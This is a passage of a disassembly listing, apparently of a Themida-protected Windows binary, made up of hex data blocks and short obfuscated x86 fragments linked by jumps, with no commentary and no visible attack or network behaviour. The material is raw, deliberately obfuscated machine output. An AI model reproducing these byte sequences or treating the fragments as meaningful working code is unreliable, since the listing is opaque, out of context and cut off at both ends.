81E18951h, 4C1h, 4C18300h, 5C240C87h dd 57E38953h, 4BFh, 0D6EB8100h, 1718304h, 0D6C381FBh, 5F718304h dd 8704C383h, 835C241Ch, 0C8904ECh, 428AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563B36: ; CODE XREF: Themida_:00566423j push 312Eh jmp loc_559CA6 ; --------------------------------------------------------------------------- dd 0FE35E580h, 4EC81C5h, 89000000h, 22B3241Ch, 3D12E9h db 0 ; --------------------------------------------------------------------------- loc_563B55: ; CODE XREF: Themida_:00558F4Aj push edx push esp jmp loc_556451 ; --------------------------------------------------------------------------- dword_563B5C dd 24048B66h, 0FFE655E9h ; DATA XREF: Themida_:00552B10o db 0FFh ; --------------------------------------------------------------------------- loc_563B65: ; CODE XREF: Themida_:0055ADE4j mov edi, 5D6A1622h push edi add dword ptr [esp], 55A04277h jmp loc_561344 ; --------------------------------------------------------------------------- db 8Bh dd 95E9243Ch, 5AFFFF07h, 4C281h, 0BB530000h, 4, 1C8BDA01h dd 40A2E924h, 0C33FFFFh, 0A5DBE924h, 3489FFFFh, 4EC8124h dd 0E9000000h, 0FFFF0F9Eh ; --------------------------------------------------------------------------- loc_563BAC: ; CODE XREF: Themida_:0055D294j mov [ecx], bl pop ebx push dword ptr [esp] pop ecx add esp, 4 jmp loc_55FFB8 ; --------------------------------------------------------------------------- dw 38BBh dd 8142816Dh, 5D59C7EBh, 0F4C0E972h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563BCE: ; CODE XREF: Themida_:00556B10j push eax push ebx mov ebx, 23F6410Ah push ebx mov ebx, 49723C90h shl ebx, 1 shl ebx, 6 sub ebx, 4FC24F3Ah add ebx, 156D7C86h mov eax, ebx pop ebx xor eax, ebx jmp loc_565594 ; --------------------------------------------------------------------------- loc_563BF6: ; CODE XREF: Themida_:0055C6DDj add edx, ebp mov ebp, [esp] add esp, 4 jmp loc_554774 ; --------------------------------------------------------------------------- dw 0C328h dd 24048B66h, 0FFA05EE9h, 4C181FFh, 81000000h, 4C1h, 240C8700h dd 0E9E8895Ch, 0FFFF48D8h ; --------------------------------------------------------------------------- loc_563C28: ; CODE XREF: Themida_:00562152j push edx mov edx, 4 mov ebp, edx pop edx add edx, ebp push dword ptr [esp] mov ebp, [esp] jmp loc_55D228 ; --------------------------------------------------------------------------- dw 0F381h dd 22E4570Ah, 0FFD762E9h, 0FFF030FFh, 575A2434h, 0C7815F54h dd 4, 4B850h, 0C7010000h, 243C8758h, 5224248Bh, 0FF466DE9h dd 5EF321FFh, 795A68h, 24048900h, 0FF0464E9h, 240489FFh dd 0A3E928B4h, 8900002Ch, 405E0h, 42D0000h, 50000000h dd 0FF7253E9h, 4B951FFh, 1000000h, 0BA5259C8h, 47ED194Bh dd 0FF998CE9h db 0FFh ; --------------------------------------------------------------------------- loc_563CAD: ; CODE XREF: Themida_:005611ADj pop ecx jmp loc_553E69 ; --------------------------------------------------------------------------- db 54h dd 0FF72C7E9h, 68DAF7FFh, 7FB2h, 50243489h, 0F53E3BB8h dd 3E3BBE5Eh, 0C6315EF5h, 0D541E958h, 0E689FFFFh, 0BF2E950h dd 62CFFFFh, 8B2434FFh, 0C481241Ch, 4, 4EC81h, 3C890000h dd 815F5424h, 4C7h, 0B5DE900h, 0C890000h, 3D926824h, 4E90000h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563D0F: ; CODE XREF: Themida_:00552EC0j pop esp sub esp, 4 mov [esp], ecx pop edx pop ecx and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push edx push esp pop edx jmp loc_55F006 ; --------------------------------------------------------------------------- db 5Eh, 8Fh, 4 dd 24248B24h, 0E0AAE957h, 0C0FEFFFFh, 592C2204h, 2C07E0C0h dd 0E9C434A5h, 0FFFEEFB2h, 7F1DE72Dh, 6B9515Dh, 0E94C181Fh dd 0FFFFA502h, 0C244481h, 2F7C12BAh, 0C245C29h, 0C246C81h dd 2F7C12BAh, 68241C8Bh, 7AFCh, 89243489h, 4C681E6h, 50000000h dd 74663DB8h, 0A098E956h, 3489FFFFh, 0E9E68924h, 0FFFF178Dh dd 44FFE959h, 0E789FFFFh, 4BA52h, 33E90000h db 0FAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563DAF: ; CODE XREF: Themida_:00553267j add edi, 4 jmp loc_566EC5 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5F0424h, 535C2404h, 0E7C0E7B7h, 5EFC004h, 5258CF80h dd 0FF4BD4E9h, 2474FFFFh, 241C8B04h, 4C481h, 48F0000h dd 68575C24h, 46BB02BCh, 0FFC7835Fh, 17B868h, 24348900h dd 194F68h, 24148900h, 554953BAh, 0E9D68951h, 0FFFF104Dh ; --------------------------------------------------------------------------- loc_563E0C: ; CODE XREF: Themida_:00564438j mov eax, esi pop esi add ebp, 15D0498Bh add ebp, eax sub ebp, 15D0498Bh jmp loc_557312 ; --------------------------------------------------------------------------- loc_563E22: ; CODE XREF: Themida_:0055DA5Aj or eax, eax jz loc_558333 push dword ptr [edi+1Ch] jmp loc_554C5D ; --------------------------------------------------------------------------- dw 0EE81h dd 0CC39EB87h, 0FF215DE9h, 6D8968FFh, 1C890000h, 4EC8324h dd 24048F54h, 0FF3686E9h, 162D5BFFh, 566EFA38h, 0FFE7BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_563E5D: ; CODE XREF: Themida_:00553AACj push edi push ecx mov ecx, 462035E2h mov edi, ecx jmp loc_55FC4A ; --------------------------------------------------------------------------- loc_563E6B: ; CODE XREF: Themida_:00558AE7j mov esi, 37C00E72h jmp loc_55E9D9 ; --------------------------------------------------------------------------- loc_563E75: ; CODE XREF: Themida_:0055392Fj shr ecx, 6 jmp loc_55AC29 ; --------------------------------------------------------------------------- byte_563E7D db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:00552A20o dd 0E9506651h, 0FFFEF96Eh, 0FEEE36E9h, 809DB3FFh, 0DC88F8C3h dd 8153525Bh, 4ECh, 24148900h, 0FFEE5FE9h, 8038B7FFh, 0FBE97EEFh dd 2C000028h, 0C388534Fh, 8B5BDD88h, 89562404h, 4C681E6h dd 0E9000000h, 0FFFFC32Ch, 2E60E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563ECE: ; CODE XREF: Themida_:0055AFE2j mov ecx, 6A625CDDh add ebx, ecx jmp loc_5581A6 ; --------------------------------------------------------------------------- loc_563EDA: ; CODE XREF: Themida_:005633A4j shr edi, 7 jmp loc_55903D ; --------------------------------------------------------------------------- dw 8F5Ah dd 665C2404h, 0E924048Fh, 0FFFEEDD3h, 0D828CA2Ch, 0B652CA04h dd 41F68093h, 3CE92E2Ch, 5FFFFF64h, 0FF00D6E9h, 1C8B5CFFh dd 4C48124h, 33000000h, 0ABE9240Ch db 0F5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563F1B: ; CODE XREF: Themida_:0055EC57j mov [esp], ebx jmp loc_560387 ; --------------------------------------------------------------------------- db 58h dd 0BF4E6905h, 6E122D09h, 0D8F75B78h, 0FF027BE9h, 24E981FFh dd 0E994F5C1h, 0FFFFD06Ah, 0E9DAF759h, 0FFFFFD71h, 0B60EA4B8h dd 754F3569h, 0D72D5691h, 5145D672h, 0FF6425E9h, 5AD701FFh dd 37BFE951h, 0C8B0000h, 2995E924h, 14890000h, 12BE5624h dd 507DA976h, 0FFFD0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_563F7D: ; CODE XREF: Themida_:00556DBAj sub ebp, 6E7B1DDEh add ebp, ebx sub esp, 4 mov [esp], ecx mov ecx, 48619CFh jmp loc_558751 ; --------------------------------------------------------------------------- dd 794B46BBh, 0A5E9E921h, 0EA01FFFFh, 81242C8Bh, 4C4h dd 24143300h, 33241431h, 685C2414h, 464Ah, 0E9240489h dd 0FFFEECFFh dword_563FC4 dd 0E924248Bh, 0FFFEECF7h, 595A515Dh, 7D73ADBEh, 827FE930h ; DATA XREF: Themida_:00552B58o dd 0EC81FFFFh, 4, 0E9241C89h, 0FFFFFEA5h, 42474FFh, 24048F5Ah dd 1123E9h, 0B5C18100h, 8B596362h, 0C4832414h, 0FFC88904h dd 0C8B2434h, 4C48324h, 2A52E9h db 0 byte_564011 db 56h, 0FFh, 74h ; DATA XREF: Themida_:00552AC0o dd 34FF0424h, 24348B24h, 81E38953h, 4C3h, 4C38100h, 53000000h dd 42474FFh, 24048F5Bh, 0CC3EE95Ch, 5457FFFFh, 4C7815Fh dd 81000000h, 2EFh, 243C8700h, 0E924248Bh, 0FFFF4EB1h ; --------------------------------------------------------------------------- loc_564054: ; CODE XREF: Themida_:005586B2j xor al, cl pop ecx push esi mov esi, esp push 5FF8h mov [esp], eax push edx mov edx, 4 mov eax, edx mov edx, [esp] add esp, 4 sub esi, 3C361292h add esi, eax sub esp, 4 mov [esp], eax push ebx jmp loc_55BE3F ; --------------------------------------------------------------------------- loc_56408A: ; CODE XREF: Themida_:00554DF6j mov eax, esp add eax, 4 add eax, 4 jmp loc_562F02 ; --------------------------------------------------------------------------- db 0E9h, 25h, 0ECh dd 2489FFFEh, 24048124h, 4, 6824048Fh, 2870h, 89243489h dd 4C681E6h, 81000000h, 4EEh, 24348700h, 5C0DE95Ch, 0FF56FFFFh dd 0E9042474h, 0FFFF4BF2h, 8107E6C1h, 156076E6h, 79BB5373h dd 94F115Bh, 0CE815BDEh, 5C6C1899h, 0FF6AB7E9h, 81E389FFh dd 4C3h, 4C38100h, 87000000h, 95C241Ch, 840FC9h, 54FFFF55h dd 0FFDADBE9h, 240CFFFFh, 0E9C14159h, 77C98103h, 0E946284Fh dd 0FFFFBD7Fh ; --------------------------------------------------------------------------- loc_564124: ; CODE XREF: Themida_:0055FC38j add edx, 385F360Ah jmp loc_56072E ; --------------------------------------------------------------------------- loc_56412F: ; CODE XREF: Themida_:0055A724j add ecx, ebx pop ebx xchg ecx, [esp] mov esp, [esp] shr ecx, 0 or eax, eax jmp loc_564990 ; --------------------------------------------------------------------------- loc_564142: ; CODE XREF: Themida_:0055BE8Bj add esp, 4 pop dword ptr [esp] mov esp, [esp] xor bl, al movzx eax, al pop small word ptr [edi+eax*4] jmp loc_552CC3 ; --------------------------------------------------------------------------- dd 0EA815Fh, 292D1603h, 0C281C2h, 812D1603h, 4ECh, 876AE900h dd 815EFFFFh, 4C1h, 240C8700h, 0C75E95Ch, 21580000h, 77FF5BD8h dd 2430E91Ch db 2 dup(0) word_564192 dw 8B66h ; DATA XREF: Themida_:00552BECo dd 6A68240Ch, 89000018h, 5F54243Ch, 0FF9C9DE9h, 81D3F7FFh dd 974976EBh, 5EF3817Eh, 29C29390h, 1AE95BDAh, 0B9FFFF40h dd 58DB7AEFh, 0E959CA01h, 0FFFF60F7h, 0FEEAF6E9h, 4C483FFh dd 39EABD55h, 0D5F711FFh, 81F1C581h, 0EE311460h, 0FFEEC2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5641E5: ; CODE XREF: Themida_:0055F987j xor eax, esi not esi push eax push esi jmp loc_564F21 ; --------------------------------------------------------------------------- dd 5254E380h, 0D3305AB2h, 5BD9285Ah, 7DE9C1FEh, 1FFFFBEh dd 240C8BCAh, 0E904C483h, 0FFFFE809h, 5F2434FFh, 0FFBF7AE9h db 0FFh ; --------------------------------------------------------------------------- loc_564219: ; CODE XREF: Themida_:0055CA5Dj push esi pop eax mov esi, [esp] add esp, 4 xor [esp], eax xor eax, [esp] xor [esp], eax push dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_55CDCF ; --------------------------------------------------------------------------- db 0FFh dd 815D2434h, 4ECh, 24148900h, 24148B54h, 5004C483h, 74BE9h dd 1BB85000h, 350B324Dh, 429032A4h, 3D6C2835h, 1CF0576h dd 0D82531E9h, 2D1FA861h, 1188013Ch, 786CC681h, 0C6014B75h dd 786CEE81h, 81584B75h, 4C6h, 24348700h, 8850535Ch, 58E788ECh dd 5B873C88h, 592434FFh, 0FF2ADAE9h, 16E95BFFh, 0FFFFFFA9h dd 5B042474h, 5C24048Fh, 14E2E9h, 2DD80100h, 4326D64h dd 2404875Bh, 0FF8B54E9h db 0FFh ; --------------------------------------------------------------------------- loc_5642C5: ; CODE XREF: Themida_:00559B3Dj push eax push dword ptr [esp+4] pop eax jmp loc_555C73 ; --------------------------------------------------------------------------- dd 0E6895652h, 0E904EC83h, 34C3h, 37E9E189h, 57FFFF3Ah dd 0FFA9FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5642E9: ; CODE XREF: Themida_:0055C1C1j sub ecx, 0E4B5EF01h jmp loc_555F1E ; --------------------------------------------------------------------------- dd 398DEF81h, 85E958BEh, 56FFFF9Bh, 0FF660EE9h, 4C483FFh dd 3508E0C1h, 0B4BC0D02h, 91E9C101h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564317: ; CODE XREF: Themida_:00560169j mov esi, 46A808AAh add eax, 77676FABh sub eax, esi push edi mov edi, 359079B3h jmp loc_556DF4 ; --------------------------------------------------------------------------- loc_56432E: ; CODE XREF: Themida_:00557B36j xor eax, ecx push 2F10h mov [esp], eax sub esp, 4 mov [esp], esi push dword ptr [esp] pop eax push ecx jmp loc_567577 ; --------------------------------------------------------------------------- dd 15AD629h, 24348BF3h, 0FFCA9AE9h, 243489FFh, 390ABE66h dd 0FEF802E9h db 0FFh ; --------------------------------------------------------------------------- loc_564361: ; CODE XREF: Themida_:00553A40j shr ebx, 1 add ebx, 5DB50474h add ebx, 724B3BD1h add ecx, ebx pop ebx add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5626B3 ; --------------------------------------------------------------------------- dw 0EB80h dd 0E9F3283Bh, 0FFFF2D3Ch, 42474FFh, 24048F59h, 6624248Bh dd 8124048Bh, 4ECh, 242C8900h, 0FEBBE955h, 835AFFFEh, 53E904ECh dd 8BFFFFF9h, 0C4832434h, 0A6BF5704h, 31F7D6F5h, 8633E9F8h dd 0C481FFFFh, 4, 4C481h, 78680000h, 8900006Bh, 4BF243Ch dd 1000000h, 0BF31E9FDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5643E2: ; CODE XREF: Themida_:00553CAEj push esi mov esi, 4 sub eax, esi pop esi xchg eax, [esp] pop esp mov [esp], ebp push dword ptr [esp+4] jmp loc_558BED ; --------------------------------------------------------------------------- loc_5643FB: ; CODE XREF: Themida_:0055A32Fj mov ebp, 809E5C9Eh add edx, ebp jmp loc_5562B0 ; --------------------------------------------------------------------------- loc_564407: ; CODE XREF: Themida_:0055F17Aj push ecx mov ecx, esp jmp loc_55669E ; --------------------------------------------------------------------------- loc_56440F: ; CODE XREF: Themida_:00559BC5j xor esi, edx mov edx, [esp] add esp, 4 jmp loc_566EEA ; --------------------------------------------------------------------------- aIssi_0 db '┴АИI,',0 align 2 loc_564426: ; CODE XREF: Themida_:00563914j pop esp sub esi, 0FFFFFFFFh push esi not dword ptr [esp] pop esi sub esi, 0E82CF09Ah jmp loc_563E0C ; --------------------------------------------------------------------------- db 81h, 0E6h, 46h dd 8174963Ch, 507BDE6h, 9FC6801h, 0C890000h, 3B02E924h dd 0BE56FFFFh, 75FC11B4h, 21CABB53h, 0EB817852h, 2BC6E8F9h dd 0FEF034E9h, 7A10B8FFh, 0C609641Ch, 1BEE8158h, 311E6195h dd 24348BF0h, 0E904C483h, 88Ch, 4240481h, 58000000h, 2246E9h dd 81D6F700h, 0E2670DEEh, 2E6811Bh, 8146225Eh, 814623C6h dd 9FB9E908h, 23B2FFFFh, 0FF0DBBE9h, 57E189FFh, 0EC4284BFh dd 4E74E92Fh, 0E940FFFFh, 0FFFF5B30h, 0E904C483h, 0FFFF2C2Fh dword_5644D0 dd 0FF2434FFh, 0CE92434h, 5B00001Bh, 31243C33h, 3C33243Ch ; DATA XREF: Themida_:00552A74o dd 31665C24h, 0E99C2404h, 0FFFEE7D3h, 0B63EBABBh, 5BDF0167h dd 0FFC6A1E9h, 3340BDFFh, 0E5810EE3h, 6905164h, 1752C581h dd 0ED81046Eh, 53F04DEFh, 0CDE9D5F7h, 46FFFF9Fh, 0C681D6F7h dd 3748D59Ch, 0E95EF731h, 0FFFF5E39h ; --------------------------------------------------------------------------- loc_56452C: ; CODE XREF: Themida_:00554023j mov al, 10h sub al, 85h push ebx push edx push eax push ebx mov bh, 0F2h inc bh push edx mov dl, 81h xor bh, dl pop edx shl bh, 3 dec bh sub bh, 73h jmp loc_56696D ; --------------------------------------------------------------------------- db 0C3h dd 0FF7E07E9h db 0FFh byte_564551 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00552B04o dd 411589Dh, 83E99C24h db 0Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56455F: ; CODE XREF: Themida_:0055B934j add edi, 0D84CF5Eh mov ebx, edi pop edi mov eax, 0B55E0954h sub eax, ebx pop ebx dec eax jmp loc_559D50 ; --------------------------------------------------------------------------- loc_564576: ; CODE XREF: Themida_:0055EC92j or edi, eax mov eax, [esp] add esp, 4 jmp loc_559394 ; --------------------------------------------------------------------------- dw 2489h dd 24048324h, 0C2815A04h, 4, 4BB53h, 6F680000h, 89000074h dd 0C9E9243Ch, 5EFFFEEBh, 94E95E59h, 5600002Eh, 0FFF6FEE9h dd 700668FFh, 3C890000h, 4BF24h, 0F8010000h, 4055Fh, 95E90000h dd 83FFFF14h, 0A5E901C1h, 5BFFFF60h, 4C481h, 0C3010000h dd 8324048Bh, 8EE904C4h, 0FFFFFFD0h, 0F2E92434h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5645F3: ; CODE XREF: Themida_:00556CE8j mov ebp, 740272C0h jmp loc_5585FD ; --------------------------------------------------------------------------- loc_5645FD: ; CODE XREF: Themida_:0055612Cj pop esi pop dword ptr [esp] pop esp shl eax, cl push eax jmp loc_5589D9 ; --------------------------------------------------------------------------- dw 8149h dd 907BCAE9h, 5FF931C5h, 8904EC83h, 3BBB241Ch, 16A211Fh dd 8B08245Ch, 0C483241Ch, 0A51EE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56462E: ; CODE XREF: Themida_:0055A953j mov ah, dh pop edx push edx push eax sub esp, 4 mov [esp], ecx mov ch, 0E8h mov al, 91h add al, ch jmp loc_5554BB ; --------------------------------------------------------------------------- loc_564647: ; CODE XREF: Themida_:00562617j xor ebx, [esp] jmp loc_5573A0 ; --------------------------------------------------------------------------- db 0BDh dd 16483493h, 0C246C01h, 0FF9F63E9h, 0C5815DFFh, 4, 1271BF57h dd 0DFF73B8Ah, 0FFB0A6E9h, 0F9EB81FFh, 8B308E20h, 6668243Ch dd 89000057h, 0E0892404h, 405h, 4BB5300h, 5000000h, 4326D64h dd 0FFFC1CE9h, 6E06BDFFh, 0E8E93687h db 38h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5646A3: ; CODE XREF: Themida_:0055C765j mov eax, 375972B9h jmp loc_5574A1 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 5F2434FFh, 5704C483h, 0FFEA5EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5646BD: ; CODE XREF: Themida_:0055AB6Aj mov [esp], ebx pop esi jmp loc_558179 ; --------------------------------------------------------------------------- dw 68h dd 29000000h, 0CBE9242Ch db 44h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5646D3: ; CODE XREF: Themida_:0055FDD0j add ebx, eax pop eax add ebp, ebx mov ebx, [esp] push edi jmp loc_55DFCB ; --------------------------------------------------------------------------- db 5Fh, 33h, 1Ch dd 241C3124h, 8B241C33h, 56512424h, 3E51BB53h, 0E3817812h dd 626747C8h, 25F8C381h, 0EE9FD90h, 83FFFFE8h, 2C8704C4h dd 24248B24h, 5452C80Fh, 5A2434FFh, 4C481h, 58680000h dd 89000036h, 26E92434h db 51h, 2 dup(0FFh) byte_56472B db 0FFh ; DATA XREF: Themida_:00552AE8o dd 669D1C77h, 1CD36659h, 88E99C24h, 57FFFEE5h, 9760BCBFh dd 8BFE891Eh, 8956243Ch, 4C681E6h, 81000000h, 4C6h, 24348700h dd 773F055Ch, 70E93071h, 89FFFFCEh, 3C8B5AD6h, 4C48124h dd 8B000000h, 0C483241Ch, 0E9F02904h, 0FFFFCD33h, 2704EF81h dd 50E97D8Fh, 8100001Ah, 59033CE1h, 0F483E934h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564792: ; CODE XREF: Themida_:005573F4j push ebx jmp loc_565507 ; --------------------------------------------------------------------------- dd 0E95BD889h, 0FFFEF5D7h dword_5647A0 dd 53782CACh, 0C7FEF2B7h, 8043B652h, 0C7803AF6h, 0F85E92Dh ; DATA XREF: Themida_:00552C04o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5647B6: ; CODE XREF: Themida_:00558C10j mov ebx, [esp] add esp, 4 sub ebx, 1633782Dh push ebp push 7A9220D8h pop ebp push edi mov edi, 5A993485h dec edi not edi or edi, 7BF82B02h sub edi, 4332600h add edi, 384A7993h add edi, 1002BA5h xor ebp, edi jmp loc_5560D4 ; --------------------------------------------------------------------------- dd 7A2368h, 24248900h, 4240483h, 4BE565Fh, 1000000h, 9EE95EF7h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56480F: ; CODE XREF: Themida_:0055BE5Fj add esi, 22EF2D54h add esi, eax sub esi, 22EF2D54h pop eax mov eax, [esp] jmp loc_55BF9B ; --------------------------------------------------------------------------- loc_564826: ; CODE XREF: Themida_:00560FEAj add bl, 0CFh sub bl, 7Dh sub bl, dl jmp loc_55AB4D ; --------------------------------------------------------------------------- db 0C1h dd 0F38102E3h, 75A6015Fh, 7AA9C381h, 0D8018E49h, 2C0835Bh dd 5C240487h, 0E730D4F6h, 0E730FC30h, 32243C30h, 0ECE9243Ch dd 81FFFFDDh, 4C7h, 77A9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56486A: ; CODE XREF: Themida_:00553B28j sub ah, dh mov dx, [esp] jmp loc_555630 ; --------------------------------------------------------------------------- db 29h, 0C3h, 58h dd 5C241C87h, 0BF243C89h, 4, 15FFB89h, 0FB74E9DEh, 48BFFFEh dd 4C48124h, 81000000h, 0DD383AF1h, 0E4BE5620h, 0E9186D76h dd 0FFFF9A0Ah, 4BFh, 0B02E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5648B2: ; CODE XREF: Themida_:00554468j pop edx push eax jmp loc_5567F9 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 4BBh, 245C0100h, 241C8B04h, 0FFCCCAE9h, 243487FFh, 8352665Ch dd 0A2E904ECh, 0B8FFFFF3h, 28C276F0h, 64ABA52h, 0D86857D8h dd 8900007Eh, 77BF243Ch, 290FCD33h, 0E8E95FFAh db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5648FB: ; CODE XREF: Themida_:00565733j add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 jmp loc_552CC3 ; --------------------------------------------------------------------------- dword_564910 dd 0E940478Fh, 0FFFFF8B0h ; DATA XREF: Themida_:00552B48o ; --------------------------------------------------------------------------- loc_564918: ; CODE XREF: Themida_:0055B30Dj xor edi, ebx mov ebx, [esp] push ebx jmp loc_5558B0 ; --------------------------------------------------------------------------- db 52h dd 5D10BE56h, 0BF575952h, 29223FE8h, 315FFA89h, 0C2815EF2h dd 7AE005DAh, 0FFA72FE9h db 0FFh ; --------------------------------------------------------------------------- loc_564941: ; CODE XREF: Themida_:0055B1B8j add esp, 4 push edi push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 jmp loc_557844 ; --------------------------------------------------------------------------- dd 0F19D90B8h, 58C729B7h, 815FFE01h, 37278EEh, 81CE0149h dd 37278C6h, 44EE8149h, 8B100E60h, 0C483240Ch, 2B85004h dd 1000000h, 0FF5658C6h, 0E9042474h, 0FFFF4BF7h ; --------------------------------------------------------------------------- loc_564990: ; CODE XREF: Themida_:0056413Dj jz loc_558DAE push 3F79h jmp loc_562371 ; --------------------------------------------------------------------------- dd 4B8h, 0E9C20100h, 0FFFF2CBAh, 24048157h, 57EA71A2h dd 0A2E98159h, 5F57EA71h, 3EA1ED81h, 0CD01669Ch, 3EA1C581h dd 0C8B669Ch, 4C48324h, 3304C583h, 2C31242Ch, 44C0E924h dd 215BFFFFh, 8BE95BDAh db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5649E7: ; CODE XREF: Themida_:00553761j push ecx pop eax mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 push 13B0h mov [esp], edi push 4657h mov [esp], ecx mov ecx, 6543483Dh push 3D9Ah mov [esp], eax mov eax, 9BBCB7C3h add ecx, 56430E2Dh add ecx, 626640C9h sub ecx, 5EFB51D7h add ecx, eax add ecx, 5EFB51D7h jmp loc_55F536 ; --------------------------------------------------------------------------- loc_564A47: ; CODE XREF: Themida_:00565762j sub esp, 4 mov [esp], edx jmp loc_562AE8 ; --------------------------------------------------------------------------- dw 8159h dd 990CE8E9h, 481513Fh, 0F979D724h, 48E95F54h, 89FFFFC6h dd 0B8502414h, 5FB97CA1h, 302B951h, 0C82900A4h, 75462D59h dd 0C2893E3Fh, 24540158h, 38E95A04h, 33FFFEE2h, 14312414h dd 24143324h, 0ED4685Ch, 3C890000h, 0AFBD5524h, 0BF7C600Ah dd 7C600AABh, 2C8BEF31h, 9ECEE924h, 0F681FFFFh, 7D8D6043h dd 0D6E9F531h db 4Eh, 2 dup(0FFh) byte_564ABF db 66h ; DATA XREF: Themida_:00552B20o dd 0E9240C8Bh, 0FFFFEC0Eh, 5D545558h, 4E1BB951h, 0D1F71822h dd 0B1E0E981h, 0CD01E7DDh, 7685E959h, 159FFFFh, 243C8BFBh dd 4C481h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55CBCB ; --------------------------------------------------------------------------- word_564AF6 dw 8B66h ; DATA XREF: Themida_:00552B80o dd 89512404h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 240C895Ch dd 69E9E189h, 4FFFFF44h, 0C107EFC1h, 0F78103E7h, 520C6A7Eh dd 0FFE639E9h db 0FFh ; --------------------------------------------------------------------------- loc_564B29: ; CODE XREF: Themida_:0055AA05j sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], ebx jmp loc_55BB0A ; --------------------------------------------------------------------------- dw 4481h dd 59310424h, 0FF5A3C45h, 34FF2434h, 89505D24h, 405E0h dd 4050000h, 33000000h, 4312404h, 24043324h, 4C4815Ch dd 52000000h, 0E901E950h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564B72: ; CODE XREF: Themida_:0055B982j pop esp jmp loc_5539DA ; --------------------------------------------------------------------------- dd 35BEC281h, 0DA015812h, 35BEEA81h, 875B5812h, 0F65C2414h dd 0B60F66E1h, 4EC81CCh, 89000000h, 0A4E9243Ch db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564B9F: ; CODE XREF: Themida_:00553C57j xor ecx, 0B6A5FADh mov eax, ecx mov ecx, [esp] push ebx mov ebx, esp push esi mov esi, 4 jmp loc_5591BA ; --------------------------------------------------------------------------- dd 0A757C381h, 0DF0189D8h, 8BF8315Bh, 8957243Ch, 4C781E7h dd 81000000h, 4C7h, 243C8700h, 0E955505Ch, 0FFFF7CC0h dd 33243431h, 895C2434h, 6857241Ch, 53C62468h, 81D7F75Fh dd 0CEA1E7C7h, 5FFB89B3h, 4B01EB83h, 377C381h, 0A8E96FDDh dd 81FFFF88h, 4C2h, 0FB1AE900h, 2489FFFEh, 0AF6EE924h dd 0C981FFFFh, 5D8A5E5Ch, 5105E1C1h, 592414F7h, 0D1F7D9F7h dd 47B0F181h, 43E9297Ah, 5200001Eh, 692B60BAh, 213DE960h dd 0EEC1FFFFh, 4EEC102h, 0B5E7EE81h, 0F209F9B6h, 0FFC2815Eh dd 29288CD1h, 0DF295AD7h, 0FEE542E9h, 240489FFh, 0FEF349E9h dd 0E9E189FFh, 1F6Ah ; --------------------------------------------------------------------------- loc_564C74: ; CODE XREF: Themida_:005665B7j pop edx jmp loc_563A1A ; --------------------------------------------------------------------------- loc_564C7A: ; CODE XREF: Themida_:0055DB59j sub esp, 4 jmp loc_566596 ; --------------------------------------------------------------------------- dw 0C145h dd 0DDF706E5h, 0BE31F581h, 0ADE9CA6Ch, 83FFFF04h, 34FF04C4h dd 2434FF24h, 0E6895659h, 4C681h, 0C6810000h, 4, 2474FF56h dd 48F5E04h, 54515C24h, 4EC8159h, 89000000h, 468242Ch dd 8B000000h, 0DFE9242Ch, 8BFFFF98h, 2C682404h, 89000061h dd 0A6E92404h, 0BAFFFFBCh, 4, 335AD701h, 3C31243Ch, 243C3324h dd 0FFBDDCE9h, 8EAC1FFh, 1905E957h, 0E980FFFFh, 0C8305813h dd 81240C8Bh, 4C4h, 0E9515200h, 959h, 0C5E9C501h, 81000011h dd 0FB9AC5F2h, 5AD731C4h, 0EFD1D7F7h, 86A0C781h, 0F931FE7Ah dd 59C8295Fh, 4EC81h, 34890000h, 6B88BE24h, 0F7566023h dd 0F75E241Ch, 5EEC1DEh, 8106E6C1h, 2E2AB8C6h, 57B95148h dd 68262448h, 7DACh, 0BA241489h, 0 dd 339FEA81h, 0CA291669h, 0FF000BE9h, 24148BFFh, 0FF18C1E9h db 0FFh ; --------------------------------------------------------------------------- loc_564D7D: ; CODE XREF: Themida_:00557115j add ebx, eax mov eax, [esp] sub esp, 4 jmp loc_561B7C ; --------------------------------------------------------------------------- db 89h, 0E2h, 53h dd 93E9E389h, 83FFFEECh, 48904ECh, 5AB25224h, 5201C280h dd 0F6240C86h, 240C86D1h, 